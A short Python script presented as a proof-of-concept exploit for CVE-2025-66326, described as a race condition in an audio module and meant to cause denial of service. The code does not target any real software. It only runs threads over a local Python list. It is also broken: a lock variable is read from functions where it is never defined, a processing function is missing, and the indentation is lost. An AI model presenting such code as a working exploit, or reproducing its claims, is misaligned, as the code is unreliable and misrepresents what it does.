The following code is for security research and authorized testing only.
python
# CVE-2025-66326 PoC - Race Condition in Audio Module
# This is a conceptual PoC demonstrating the race condition timing attack
import threading
import time
import os
def audio_write_thread():
"""Simulates writing to shared audio buffer"""
while True:
# Race window: inadequate locking between check and use
if shared_buffer_lock:
# Attacker manipulates timing here
time.sleep(0.0001) # Small delay to trigger race
shared_buffer[0] = malicious_data
time.sleep(0.001)
def audio_read_thread():
"""Simulates reading from shared audio buffer"""
while True:
# Vulnerable: no proper synchronization
data = shared_buffer[0] # Can read inconsistent state
process_audio_data(data)
time.sleep(0.001)
def exploit_race_condition():
"""Exploit the race condition to cause DoS"""
global shared_buffer, malicious_data
shared_buffer = [0] * 1024
malicious_data = 0x41414141
shared_buffer_lock = False
# Start threads to trigger race condition
threads = []
for i in range(10):
t1 = threading.Thread(target=audio_write_thread)
t2 = threading.Thread(target=audio_read_thread)
threads.extend([t1, t2])
for t in threads:
t.start()
# Let threads run to trigger vulnerability
time.sleep(5)
print("Race condition exploitation attempted")
if __name__ == "__main__":
exploit_race_condition()